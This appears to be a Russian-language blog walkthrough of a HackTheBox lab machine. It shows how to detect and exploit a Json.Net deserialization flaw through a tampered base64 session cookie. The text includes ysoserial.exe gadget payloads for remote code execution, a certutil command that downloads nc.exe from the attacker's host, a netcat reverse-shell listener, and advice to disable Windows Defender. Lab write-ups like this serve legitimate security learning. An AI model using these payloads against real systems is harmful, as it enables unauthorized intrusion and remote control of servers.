Введение

Сериализация — это процесс преобразования какого-либо объекта в формат данных, который впоследствии можно восстановить. Люди часто сериализуют объекты, чтобы сохранить их в хранилище или отправить в рамках коммуникации.

Десериализация — это обратный процесс, когда данные берутся из определенного формата и перестраиваются в объект. Сегодня самым популярным форматом данных для сериализации данных является JSON.

Уязвимость десериализации — это та, которая в процессе десериализации отправляемых вами данных может внедрить код и выполнить его на машине жертвы, наиболее типична в приложениях, использующих Node JS, но в данном случае в JSON.

Лаборатория

Чтобы провести эту атаку и показать вам, как работает методология этой атаки, я использую машину JSON от HacktheBox.

Это машина средней сложности, на которой эксплуатируется эта уязвимость.

Давайте начнем.

Обнаружение

Чтобы обнаружить эту уязвимость, вам прежде всего нужны входные данные или какое-то значение, которое отправляется на сайт-жертву в формате JSON.
В случае с этим сайтом данные, отправленные в формате JSON, присутствуют в файлах cookie сеанса, используемых Веб-сайт.

Чтобы увидеть сеанс или файлы cookie, вы можете использовать Firefox, а с помощью F12 -> Хранилище вы можете увидеть здесь все сеансы и файлы cookie, которые у вас есть в этом сеансе браузера.

Если вы не хотите использовать Firefox, я рекомендую вам использовать Burpsuite, потому что нам все равно придется использовать его для эксплуатации этой уязвимости.

Когда вы останавливаете веб-петицию с помощью прокси-сервера Burpsuite, вы можете увидеть, как ваш файл cookie путешествует, закодированный с помощью base64:

Чтобы увидеть хорошо и проанализировано, вы можете использовать эту команду:

echo "base64encodedtext" | base64 -d | jq

Результат:

Отлично, если вы хотите знать, уязвимо ли оно для десериализации, самое главное - увидеть, изменяется ли значение вывода также или выдает ошибку, поэтому мы попытаемся изменить имя пользователя, которое является администратором, на другое в этом случае будет s12.

Чтобы поместить ваши данные в base64, вы можете использовать эту команду:

echo '{"Id":1,"UserName":"s12","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}' | base64 -w 0

Полученные результаты:

Это работает!

Обнаружение этой уязвимости завершено, эта страница уязвима, теперь вам нужно только создать полезную нагрузку для выполнения удаленных команд на сервере.

Эксплуатация

Отлично, иногда вам нужно на 100% знать, что работает за этим приложением, чтобы создать вредоносную полезную нагрузку, а иногда лучшим вариантом является принудительное выполнение ошибок, чтобы увидеть ответ со стороны сервера.

Я создаю эту базовую строку в base64:

Я отправляю на сервер и получаю этот ответ:

«Невозможно десериализовать объект Json.Net». мне большего и не надо…

Создание вредоносного кода:

Для выполнения этого шага нам понадобится компьютер с Windows и доступ только к Интернету.
Когда у нас есть компьютер с Windows, мы загружаем zip файл Releases из этого репозитория:



Когда вы распакуете все zip-файлы, вы увидите одну папку под названием Releases, щелкните внутри и посмотрите, есть ли у вас исполняемый файл с именем ysoserial.exe, если он здесь, все работает хорошо.

Откройте CMD -> перейдите в папку ysoserial.exe с помощью команды cd -> Выполните exe, чтобы увидеть меню справки

Для этого вам нужно отключить Защитник Windows.

Идеально, если вы видите часть гаджетов в меню справки, вы можете увидеть это:

Я не знаю, помните ли вы, что когда мы форсировали ошибку, она пыталась десериализовать данные в Json.net, поэтому она у нас уже есть, и в этом случае мы собираемся создать вредоносный код:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping IP_KALI"

Результат:

Хорошо, это код, но этот сервер работает в base64, чтобы сделать это, я изменяю команду с помощью:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping IP" -o base64

Результат:

Отлично, я переношу это на свою машину Kali.

Я выполняю это для прослушивания пинг-соединений на моей машине Kali:

Ставлю новую полезную нагрузку:

Я выполняю и…

У меня есть RCE (удаленное выполнение кода). Попробуем получить обратную оболочку.

Kali:
python3 -m http.server 80
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil.exe -f -urlcache -split http://IP_KALI/nc.exe C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System\nc.exe" -o base64

Результат:

я исполняю…

Отлично, последний шаг — использовать двоичный файл nc.exe для получения обратной оболочки.

Kali:
rlwrap nc -lvnp 1212
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil.exe -f -urlcache -split http://10.10.14.12/nc.exe C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System\nc.exe" -o base64

Результат:

Сделанный :)

Выводы

Чтобы закончить эту статью, скажу вам, что эту атаку важно освоить, не только для использования десериализации JSON, но и для понимания того, как работают атаки десериализации, их много, если вы хотите больше, пишите в комментариях.

Если вам нравится мой контент и вы хотите помочь мне вывести этот проект на новый уровень, вы можете стать участником, пожертвовав ежемесячную подписку. Ваша поддержка поможет мне продолжать создавать качественный контент. Благодарим вас за щедрость!



Если в настоящее время пожертвование невозможно для вас, не проблема! Ваша поддержка в обмене моим проектом и распространении слова очень ценится. Я буду продолжать создавать и делиться своими работами, несмотря ни на что, и я благодарен за вашу поддержку и интерес.

Если вы хотите поддержать меня, вы можете проверить мой дополнительный профиль на Medium и увидеть все статьи! Следите и поддерживайте его!. Это ссылка:



Спасибо, что прочитали это.

S12 :)